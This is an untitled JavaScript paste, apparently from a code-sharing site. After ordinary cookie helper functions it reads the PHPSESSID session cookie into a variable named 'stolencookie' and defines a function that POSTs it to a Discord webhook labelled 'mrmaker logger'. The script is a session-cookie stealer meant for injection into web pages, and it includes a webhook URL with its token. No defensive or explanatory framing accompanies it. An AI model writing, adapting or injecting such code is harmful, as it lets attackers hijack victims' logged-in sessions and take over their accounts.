Untitled
4 years ago in JavaScript
function createCookie(name,value,days) {
if (days) {
var date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
var expires = "; expires="+date.toGMTString();
}
else var expires = "";
document.cookie = name+"="+value+expires+"; path=/";
}
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
function eraseCookie(name) {
createCookie(name,"",-1);
}
stolencookie = readCookie("PHPSESSID")
function sendMessage() {
var request = new XMLHttpRequest();
request.open("POST", "https://discordapp.com/api/webhooks/769227620188684319/Z-zKLYSbuKakvMJirG9oO8jNNvyqWx6MBZAYZstLCD5IR_IPwmbbBC5GPf6mJf3GESNR");
request.setRequestHeader('Content-type', 'application/json');
var params = {
username: "mrmaker logger",
avatar_url: "",
content: "SESSION ID IS: " + stolencookie
}
request.send(JSON.stringify(params));
}